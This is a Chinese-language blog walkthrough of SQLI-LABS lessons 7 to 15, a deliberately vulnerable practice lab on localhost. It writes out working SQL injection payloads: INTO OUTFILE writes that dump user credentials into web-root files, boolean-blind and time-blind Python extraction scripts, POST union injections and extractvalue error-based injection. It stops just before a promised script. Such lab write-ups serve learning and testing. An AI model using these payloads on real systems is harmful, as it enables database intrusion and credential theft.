代码改变世界

SQLI_LAB——Less7~15

2019-05-25 13:17  Buki  阅读(844)  评论(0编辑  收藏  举报

  LESS-7

  上题。

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1' --+

  

 

  单引号发现报错,但不是外显,所以无法直接进行剥离构造。没有外显的话比较麻烦,通过尝试得到:

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) --+

  

  回显正常。这题需要用到outfile,导出型注入。但是使用outfile需要一定的file权限,下面是使用条件:

1 必须有权限读取并且文件必须完全可读 
2 目的文件必须在服务器上 
3 必须指定文件完整的路径 
4 欲读取文件必须小于 max_allowed_packet

 

  接下来判断我们是否有file权限,构造语句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
//select count(*) from mysql.user 意思是返回mysql库中所有用户名数量

  

  若回显正常,说明具有file权限,回显不正常,则说明不具有file权限。这里回显正常,说明具有权限。

  那么我们可以开始进行注入,构造语句:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "/xampp-php5/htdocs/SQLI-LABS/sqli-labs-master/Less-7/1.php" --+

  OR

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\1.php" --+

  

  在文件路径中,若使用’ \ ‘,则需要用另外一个转义字符将其转义即一个’ / ‘等于’ \\ ‘。

  

  注入成功,可以发现生成了一个1.php。

  同样地:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,(select group_concat(username,'_',password) from users),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\2.php" --+

  

  然后我们以此方法得到flag。

   

 

  LESS-8

  单引号尝试发现没有回显,只有正确的回显,没有错误的回显,所以此题无法进行报错注入。但是凭借you are in....这题我们使用布尔盲注。

  先爆出数据库名,脚本如下:

 

 1 # 爆数据库名
 2 
 3 def get_database():
 4     database="database: "
 5     for i in range(1,9):
 6         for key in dictionary:
 7             url = main_url + " and ascii(substr(database(),"+str(i) + ",1))="+str(ord(key)) + " --+"
 8             html = requests.get(url)
 9             if (html.content.find("You are in") != -1):
10                 database = database + key
11                 print database

 

  

  然后再爆数据库。

 1 #爆数据库
 2 def get_tables():
 3     tables = "tables: "
 4     sql = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
 5     for i in range(1,20):
 6         for key in dictionary:
 7             url = main_url + " and ord(substr(( " + sql + ")," + str(i) + ", 1))= " + str(ord(key)) + " --+"
 8             html = requests.get(url)
 9             if (html.content.find("You are in") != -1):
10                 tables = tables + key
11                 print tables

  最后利用相同的方法爆出相应的字段,然后就可以随便玩了。

  这题和LESS-5做法区别在于,LESS-5存在报错提示,而LESS-8没有报错提示,但是这并不影响布尔盲注本身的做法。

 

  

 

  

 

  观察后台代码也印证了这一点。

 

 

  Less-9

  单引号尝试,发现只要id有值,怎样构造都只有You are in....回显,这一题无法使用布尔盲注和报错盲注。所以这一题我们使用时间盲注。

  构造payload如下:

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr(database(),1,1))=ascii('s'),sleep(3),1) --+   //爆数据库名

  回显延时,说明 数据库第一位为‘s’。

  这里需要用到IF语句,语句结构是这样的:IF(condition,true,false)。若条件为真,则执行true里面的语句,若条件为假,则执行false里面的语句。

 

  然后爆数据库。

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=ascii('e'),sleep(3),1) --+

  

  接下来爆表什么的前面也有讲到。所以这里就不放上来了。

  丢上脚本:

 1 # 爆数据库名
 2 def get_database():
 3     print "Start to retrieve the database_name: "
 4     database = "database: "
 5     for i in range(1,9):
 6         for key in dictionary:
 7             url = main_url + " and if(ord(substr(database()," + str(i) + ",1)) = " + str(ord(key)) + " , sleep(5), 1) --+"
 8             start_time=time.time()
 9             html=requests.get(url)
10             if (time.time() - start_time > 4 ):
11                 database=database + key
12                 print database

 

 

 1 # 爆数据库
 2 def get_tables():
 3     print "Start to retrieve the tables: "
 4     tables = "tables: "
 5     for j in range(1,20):
 6         for key in dictionary:
 7             url = main_url + " and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+ str(j) +" ,1)) = " + str(ord(key)) + ", sleep(5), 1) --+"
 8             start_time=time.time()
 9             html=requests.get(url)
10             if (time.time() - start_time > 3):
11                 tables = tables + key
12                 print tables

  

 

  Less-10

  这题做法和Less-9一样,将单引号换为双引号即可。但是问题来了,该怎么判断是单引号闭合还是双引号闭合?希望指点。

 

 

  Less-11

  上题。

 

   由于是post形式,所以无法直接在payload上进行变量的传值。用单引号尝试,发现是单引号闭合,于是可以在username进行构造,如下:

 

1 ' union select 1, database() #

 

  爆出数据库名。

 

1 ' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

  同理,爆数据库。

  然后相同的方法爆出字段,可以随便逛了。

 

 

  LESS-12

  方法和上一题一样,将单引号换为”)即可。

 

 

  Less-13

  单引号尝试,报错发现为‘)闭合,利用布尔盲注,构造如下:

 

1 admin') and substr(database(),1,1)>'a' #

 

  这里的话利用二分法爆数据库名。其他数据一样。

 

 

 Less-14

  将上题改为 ” 双引号即可,利用布尔盲注之后,发现这题也可以利用报错注入,payload如下:

1 admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

 

 

  Less-15

  单引号尝试,发现为单引号闭合,于是直接布尔盲注,注入成功。接下来再尝试报错注入,发现题目没有语法报错,所以报错注入在此题行不通。于是利用时间盲注,脚本如下: